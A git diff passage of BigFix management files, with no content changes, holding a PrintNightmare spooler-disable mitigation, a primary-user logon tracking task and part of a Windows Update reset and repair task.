diff --git a/Sites/Windows Management/Fixlets/Fixlets/Testing PrintNightmare Spooler Disable mitigation (26860).bes b/Sites/Windows Management/Fixlets/Fixlets/Testing PrintNightmare Spooler Disable mitigation (26860).bes
index d42b04fa8..4a5378870 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Testing PrintNightmare Spooler Disable mitigation (26860).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Testing PrintNightmare Spooler Disable mitigation (26860).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Testing PrintNightmare Spooler Disable mitigation
-  ID       : 26860
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2021-07-01T12:34:20
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Testing PrintNightmare Spooler Disable mitigation</Title>
-    <Description><![CDATA[BETA CODE - <FONT color=#ff0000>TEST WELL</FONT> <BR><BR><A href="https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability"><FONT color=#0066cc>PrintNightmare, Critical Windows Print Spooler Vulnerability | CISA</FONT></A> ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>product type of operating system != nt workstation product type /*optionally avoids desktops*/</Relevance>
-    <Relevance>exists services &quot;spooler&quot; whose (state of it = &quot;Running&quot; OR start type of it != &quot;disabled&quot;)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2021-07-01</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 01 Jul 2021 19:24:19 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait sc.exe stop spooler
-wait sc.exe config spooler start= disabled</ActionScript>
-    </DefaultAction>
-    <Action ID="Action28144">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to see more information.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Testing PrintNightmare Spooler Disable mitigation
+  ID       : 26860
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2021-07-01T12:34:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Testing PrintNightmare Spooler Disable mitigation</Title>
+    <Description><![CDATA[BETA CODE - <FONT color=#ff0000>TEST WELL</FONT> <BR><BR><A href="https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability"><FONT color=#0066cc>PrintNightmare, Critical Windows Print Spooler Vulnerability | CISA</FONT></A> ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>product type of operating system != nt workstation product type /*optionally avoids desktops*/</Relevance>
+    <Relevance>exists services &quot;spooler&quot; whose (state of it = &quot;Running&quot; OR start type of it != &quot;disabled&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2021-07-01</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 01 Jul 2021 19:24:19 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait sc.exe stop spooler
+wait sc.exe config spooler start= disabled</ActionScript>
+    </DefaultAction>
+    <Action ID="Action28144">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see more information.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Track Primary User v2.8 (2533).bes b/Sites/Windows Management/Fixlets/Fixlets/Track Primary User v2.8 (2533).bes
index e810541b0..864b68109 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Track Primary User v2.8 (2533).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Track Primary User v2.8 (2533).bes	
@@ -1,47 +1,47 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Track Primary User v2.8
-  ID       : 2533
-  Author   : hp
-  Domain   : BESC
-  Imported : 2013-07-11T20:55:02
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Track Primary User v2.8</Title>
-    <Description><![CDATA[<P>The "Primary User" of an endpoint is the user who has logged on most frequently in a given history window (e.g. the past 10 logins).</P><P>This task monitors each login and records the most recent logins.&nbsp; This information is stored in the following registry values:</P>
-<P>[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats\LoggedIn]<BR/>
-[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats\LastLoggedInUser]<BR/>
-[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats\LastTime]<BR/>
-[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats\LogonHistory]<BR/>
-[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats\PrimaryUser]</P>
-<P><STRONG><FONT color=#0000ff>Note:</FONT>&nbsp; </STRONG>This task will not run on domain controllers.<BR/>
-<P><STRONG><FONT color=#0000ff>Note:</FONT></STRONG>&nbsp; This task will be set as a policy and will run&nbsp;following each logon.</P>]]></Description>
-    <Relevance>(exists logged on users) AND (((it contains &quot;win2000&quot; OR it contains &quot;winxp&quot; OR it contains &quot;win2003&quot; OR it contains &quot;winvista&quot; OR it contains &quot;win2008&quot; OR it contains &quot;win7&quot;) of (name of operating system as lowercase)) AND product type of operating system != nt domain controller product type) AND ((not exists value &quot;LoggedIn&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats&quot; of registry) OR (value &quot;LoggedIn&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats&quot; of registry != (exists logged on users whose (active of it)) as string) OR (if (exists values &quot;LogonHistory&quot; of keys &quot;HKLM\Software\BigFix\EnterpriseClient\userstats&quot; of registry) then (value &quot;LogonHistory&quot; of keys &quot;HKLM\Software\BigFix\EnterpriseClient\userstats&quot; of registry as string does not contain (maximum of time values of selects &quot;starttime from win32_logonsession where (LogonType=2 OR LogonType=10)&quot; of wmi) as string) else TRUE))</Relevance>
-    <Category>Policy</Category>
-    <Source>Custom</Source>
-    <SourceReleaseDate>2007-10-10</SourceReleaseDate>
-    <SourceSeverity>Custom</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 10 Jul 2013 17:58:26 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click&amp;nbsp; </PreLink>
-        <Link>here </Link>
-        <PostLink>&amp;nbsp;to deploy this action. </PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[regset "[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats]" "LoggedIn"="{exists logged on users whose (active of it)}"
-regset "[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats]" "LastLoggedInUser"="{tuple string item 0 of concatenation ", " of items 0 of ((item 0 of item 1 of it, item 1 of item 0 of it) of ((it,((preceding texts of firsts "%22" of following texts of firsts "Name=%22" of it, preceding texts of firsts "%22" of following texts of firsts ".LogonId=%22" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of (string values of selects "* from Win32_LoggedOnUser" of wmi)) & "|")))) of ((preceding texts of firsts "|" of it, following texts of firsts "|" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of ((if (it as string contains "LogonId") then (string values of it) else if (it as string contains "StartTime") then (time values of it as string) else "") of (selects "StartTime, LogonId from Win32_LogonSession where (LogonType=2 OR LogonType=10)" of wmi))) & "|")))) whose (item 0 of item 0 of it = item 1 of item 1 of it)) whose (item 1 of it = (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string))}"
-regset "[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats]" "LastTime"="{maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi}"
-regset "[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats]" "LogonHistory"="{if (exists logged on users whose (active of it)) then (if (exists values "LogonHistory" of keys "HKLM\Software\BigFix\EnterpriseClient\userstats" of registry) then ((if (value "LogonHistory" of keys "HKLM\Software\BigFix\EnterpriseClient\userstats" of registry as string contains (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string)) then ("") else ("::" & (tuple string item 0 of concatenation ", " of items 0 of ((item 0 of item 1 of it, item 1 of item 0 of it) of ((it,((preceding texts of firsts "%22" of following texts of firsts "Name=%22" of it, preceding texts of firsts "%22" of following texts of firsts ".LogonId=%22" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of (string values of selects "* from Win32_LoggedOnUser" of wmi)) & "|")))) of ((preceding texts of firsts "|" of it, following texts of firsts "|" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of ((if (it as string contains "LogonId") then (string values of it) else if (it as string contains "StartTime") then (time values of it as string) else "") of (selects "StartTime, LogonId from Win32_LogonSession where (LogonType=2 OR LogonType=10)" of wmi))) & "|")))) whose (item 0 of item 0 of it = item 1 of item 1 of it)) whose (item 1 of it = (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string))) & ";;" & (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string))) & (if (not exists value "LogonHistory" of keys "HKLM\Software\BigFix\EnterpriseClient\userstats" of registry) then "" else (concatenation of (("::" & item 0 of it & ";;" & item 1 of it) of (((items 0 of it, items 1 whose (it as time > (now - 7 * day)) of it) of ((preceding texts of firsts ";;" of it, following texts of firsts ";;" of it) of (substrings separated by "::" whose (it != "") of (value "LogonHistory" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string))))))))) else ("::" & (tuple string item 0 of concatenation ", " of items 0 of ((item 0 of item 1 of it, item 1 of item 0 of it) of ((it,((preceding texts of firsts "%22" of following texts of firsts "Name=%22" of it, preceding texts of firsts "%22" of following texts of firsts ".LogonId=%22" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of (string values of selects "* from Win32_LoggedOnUser" of wmi)) & "|")))) of ((preceding texts of firsts "|" of it, following texts of firsts "|" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of ((if (it as string contains "LogonId") then (string values of it) else if (it as string contains "StartTime") then (time values of it as string) else "") of (selects "StartTime, LogonId from Win32_LogonSession where (LogonType=2 OR LogonType=10)" of wmi))) & "|")))) whose (item 0 of item 0 of it = item 1 of item 1 of it)) whose (item 1 of it = (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string))) & ";;" & (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string))) else (value "LogonHistory" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string)}"
-regset "[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats]" "PrimaryUser"="{if (exists (key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" whose (exists value "LogonHistory" of it) of registry)) then (item 0 of ((items 0 whose ((concatenation of (unique values whose ((multiplicity of it = (maximum of  multiplicities of unique values of preceding texts of firsts ";;" of substrings separated by "::" of (value "LogonHistory" of key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string)))) of preceding texts of firsts ";;" of substrings separated by "::" of (value "LogonHistory" of key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string)) as string) contains it) of it, items 1 whose (it as time = maximum of (((following texts of firsts ";;" of it) of (substrings separated by "::" whose (it != "") of (value "LogonHistory" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string))) as time)) of it) of (((preceding texts of firsts ";;" of it, following texts of firsts ";;" of it) of (substrings separated by "::" whose (it != "") of (value "LogonHistory" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string)))))) else "N/A"}"
-]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Track Primary User v2.8
+  ID       : 2533
+  Author   : hp
+  Domain   : BESC
+  Imported : 2013-07-11T20:55:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Track Primary User v2.8</Title>
+    <Description><![CDATA[<P>The "Primary User" of an endpoint is the user who has logged on most frequently in a given history window (e.g. the past 10 logins).</P><P>This task monitors each login and records the most recent logins.&nbsp; This information is stored in the following registry values:</P>
+<P>[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats\LoggedIn]<BR/>
+[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats\LastLoggedInUser]<BR/>
+[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats\LastTime]<BR/>
+[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats\LogonHistory]<BR/>
+[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats\PrimaryUser]</P>
+<P><STRONG><FONT color=#0000ff>Note:</FONT>&nbsp; </STRONG>This task will not run on domain controllers.<BR/>
+<P><STRONG><FONT color=#0000ff>Note:</FONT></STRONG>&nbsp; This task will be set as a policy and will run&nbsp;following each logon.</P>]]></Description>
+    <Relevance>(exists logged on users) AND (((it contains &quot;win2000&quot; OR it contains &quot;winxp&quot; OR it contains &quot;win2003&quot; OR it contains &quot;winvista&quot; OR it contains &quot;win2008&quot; OR it contains &quot;win7&quot;) of (name of operating system as lowercase)) AND product type of operating system != nt domain controller product type) AND ((not exists value &quot;LoggedIn&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats&quot; of registry) OR (value &quot;LoggedIn&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats&quot; of registry != (exists logged on users whose (active of it)) as string) OR (if (exists values &quot;LogonHistory&quot; of keys &quot;HKLM\Software\BigFix\EnterpriseClient\userstats&quot; of registry) then (value &quot;LogonHistory&quot; of keys &quot;HKLM\Software\BigFix\EnterpriseClient\userstats&quot; of registry as string does not contain (maximum of time values of selects &quot;starttime from win32_logonsession where (LogonType=2 OR LogonType=10)&quot; of wmi) as string) else TRUE))</Relevance>
+    <Category>Policy</Category>
+    <Source>Custom</Source>
+    <SourceReleaseDate>2007-10-10</SourceReleaseDate>
+    <SourceSeverity>Custom</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 10 Jul 2013 17:58:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp; </PreLink>
+        <Link>here </Link>
+        <PostLink>&amp;nbsp;to deploy this action. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[regset "[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats]" "LoggedIn"="{exists logged on users whose (active of it)}"
+regset "[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats]" "LastLoggedInUser"="{tuple string item 0 of concatenation ", " of items 0 of ((item 0 of item 1 of it, item 1 of item 0 of it) of ((it,((preceding texts of firsts "%22" of following texts of firsts "Name=%22" of it, preceding texts of firsts "%22" of following texts of firsts ".LogonId=%22" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of (string values of selects "* from Win32_LoggedOnUser" of wmi)) & "|")))) of ((preceding texts of firsts "|" of it, following texts of firsts "|" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of ((if (it as string contains "LogonId") then (string values of it) else if (it as string contains "StartTime") then (time values of it as string) else "") of (selects "StartTime, LogonId from Win32_LogonSession where (LogonType=2 OR LogonType=10)" of wmi))) & "|")))) whose (item 0 of item 0 of it = item 1 of item 1 of it)) whose (item 1 of it = (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string))}"
+regset "[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats]" "LastTime"="{maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi}"
+regset "[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats]" "LogonHistory"="{if (exists logged on users whose (active of it)) then (if (exists values "LogonHistory" of keys "HKLM\Software\BigFix\EnterpriseClient\userstats" of registry) then ((if (value "LogonHistory" of keys "HKLM\Software\BigFix\EnterpriseClient\userstats" of registry as string contains (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string)) then ("") else ("::" & (tuple string item 0 of concatenation ", " of items 0 of ((item 0 of item 1 of it, item 1 of item 0 of it) of ((it,((preceding texts of firsts "%22" of following texts of firsts "Name=%22" of it, preceding texts of firsts "%22" of following texts of firsts ".LogonId=%22" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of (string values of selects "* from Win32_LoggedOnUser" of wmi)) & "|")))) of ((preceding texts of firsts "|" of it, following texts of firsts "|" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of ((if (it as string contains "LogonId") then (string values of it) else if (it as string contains "StartTime") then (time values of it as string) else "") of (selects "StartTime, LogonId from Win32_LogonSession where (LogonType=2 OR LogonType=10)" of wmi))) & "|")))) whose (item 0 of item 0 of it = item 1 of item 1 of it)) whose (item 1 of it = (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string))) & ";;" & (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string))) & (if (not exists value "LogonHistory" of keys "HKLM\Software\BigFix\EnterpriseClient\userstats" of registry) then "" else (concatenation of (("::" & item 0 of it & ";;" & item 1 of it) of (((items 0 of it, items 1 whose (it as time > (now - 7 * day)) of it) of ((preceding texts of firsts ";;" of it, following texts of firsts ";;" of it) of (substrings separated by "::" whose (it != "") of (value "LogonHistory" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string))))))))) else ("::" & (tuple string item 0 of concatenation ", " of items 0 of ((item 0 of item 1 of it, item 1 of item 0 of it) of ((it,((preceding texts of firsts "%22" of following texts of firsts "Name=%22" of it, preceding texts of firsts "%22" of following texts of firsts ".LogonId=%22" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of (string values of selects "* from Win32_LoggedOnUser" of wmi)) & "|")))) of ((preceding texts of firsts "|" of it, following texts of firsts "|" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of ((if (it as string contains "LogonId") then (string values of it) else if (it as string contains "StartTime") then (time values of it as string) else "") of (selects "StartTime, LogonId from Win32_LogonSession where (LogonType=2 OR LogonType=10)" of wmi))) & "|")))) whose (item 0 of item 0 of it = item 1 of item 1 of it)) whose (item 1 of it = (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string))) & ";;" & (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string))) else (value "LogonHistory" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string)}"
+regset "[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats]" "PrimaryUser"="{if (exists (key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" whose (exists value "LogonHistory" of it) of registry)) then (item 0 of ((items 0 whose ((concatenation of (unique values whose ((multiplicity of it = (maximum of  multiplicities of unique values of preceding texts of firsts ";;" of substrings separated by "::" of (value "LogonHistory" of key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string)))) of preceding texts of firsts ";;" of substrings separated by "::" of (value "LogonHistory" of key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string)) as string) contains it) of it, items 1 whose (it as time = maximum of (((following texts of firsts ";;" of it) of (substrings separated by "::" whose (it != "") of (value "LogonHistory" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string))) as time)) of it) of (((preceding texts of firsts ";;" of it, following texts of firsts ";;" of it) of (substrings separated by "::" whose (it != "") of (value "LogonHistory" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string)))))) else "N/A"}"
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Troubleshooting_ Reset Windows Update, Pending Updates, and DISM Repair (27344).bes b/Sites/Windows Management/Fixlets/Fixlets/Troubleshooting_ Reset Windows Update, Pending Updates, and DISM Repair (27344).bes
index a30d161b4..7e6d3c1ea 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Troubleshooting_ Reset Windows Update, Pending Updates, and DISM Repair (27344).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Troubleshooting_ Reset Windows Update, Pending Updates, and DISM Repair (27344).bes	
@@ -1,379 +1,379 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Troubleshooting: Reset Windows Update, Pending Updates, and DISM Repair
-  ID       : 27344
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2024-05-14T10:13:02
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Troubleshooting: Reset Windows Update, Pending Updates, and DISM Repair</Title>
-    <Description><![CDATA[<P><STRONG>USE WITH CAUTION</STRONG></P>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt">&nbsp;</P>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt">This Task performs several cleanup operations to attempt to resolve failing Windows Updates.&nbsp; This should be used with care, and only on systems that are failing to install updates after all other troubleshooting steps have been taken, consider this a last effort before reimaging the problem machine.&nbsp; Making system changes, especially to an already-broken system, may further corrupt the system.&nbsp; Backup any important data before running this task!</P>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt">&nbsp;</P>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt">This Task</P>
-<UL>
-<LI>
-<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">Attempts to clear cached Windows Update data to resolve cases where Windows Updates fail to install due to a corruption of the SoftwareDistribution folder.</DIV>
-<UL>
-<LI>
-<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">Performs&nbsp;the steps described at the following article, including steps that are associated with corrupt Windows Update components.</DIV>
-<LI>
-<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt"><A href="https://support.microsoft.com/en-us/help/971058/how-do-i-reset-windows-update-components"><FONT color=#0000ff size=3 face="Times New Roman">https://support.microsoft.com/en-us/help/971058/how-do-i-reset-windows-update-components</FONT></A></DIV>
-<LI>
-<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">Logs Generated:</DIV>
-<UL>
-<LI>
-<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">\Windows\Temp\windows-update-cleanup.txt</DIV></LI></UL></LI></UL></LI></UL>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt">&nbsp;</P>
-<UL>
-<LI>
-<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">Attempts to remove any Pending component installations</DIV>
-<UL>
-<LI>
-<P class=MsoNormal style="MARGIN: 0in 0in 0pt">Logs Generated:</P>
-<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">
-<UL>
-<LI>\Windows\Temp\DISM-RemovePending.log </LI></UL></DIV>
-<P>&nbsp;</P></LI></UL>
-<LI>
-<P>Attempts Windows Component Store Cleanup</P>
-<UL>
-<LI>
-<P>DISM.EXE /Online /Cleanup-Image /RestoreHealth /Quiet /NoReboot</P>
-<LI>
-<P><A href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/deployment/fix-windows-update-errors"><FONT color=#0066cc>https://docs.microsoft.com/en-us/troubleshoot/windows-server/deployment/fix-windows-update-errors</FONT></A></P>
-<LI>
-<P>Logs Generated:</P>
-<UL>
-<LI>\Windows\Temp\DISM-RestoreHealth.out
-<LI>\Windows\Temp\DISM-RestoreHealth.log</LI></UL></LI></UL></LI></UL>
-<P>The Second action allows specifying a path to a trusted set of Windows installation files to be used to perform a repair, if original Windows installation files are required, for example 'C:\Windows-Media-Source'.&nbsp; The path should be accessible to the LocalSystem WIndows account (network UNC shares are generally not accessible and the media should be copied to a client path before running the action).</P>
-<P>&nbsp;&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
-    <Relevance><![CDATA[version of operating system >= version "6.2"]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2023-10-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 14 May 2024 17:10:54 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to attempt repair without specifying an Installation Source.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "LogFolder"="{pathname of windows folder}\temp"
-folder create "{parameter "LogFolder"}"
-
-// Windows Update Store Cleanup & Windows Update Components Reset
-delete __createfile
-createfile until _EOF_EOF_EOF
-
-taskkill /im wusa.exe /f
-net stop bits
-net stop wuauserv
-net stop cryptsvc
-
-_EOF_EOF_EOF
-delete precleanup.cmd
-move __createfile precleanup.cmd
-waithidden cmd.exe /c precleanup.cmd
-
-
-// Check that everything *actually* stopped.  Disable service and kill processes if necessary
-
-if {exists pids of services "wuauserv"}
- waithidden sc.exe config wuauserv start= disabled
- waithidden taskkill.exe /pid {pids of services "wuauserv"} /F
-endif
-
-if {exists pids of services "bits"}
- waithidden sc.exe config bits start= disabled
- waithidden taskkill.exe /pid {pids of services "bits"} /F
-endif
-
-if {exists pids of services "cryptsvc"}
- waithidden sc.exe config cryptsvc start= disabled
- waithidden taskkill.exe /pid {pids of services "cryptsvc"} /F
-endif
-
-delete __createfile
-createfile until _EOF_EOF_EOF
-
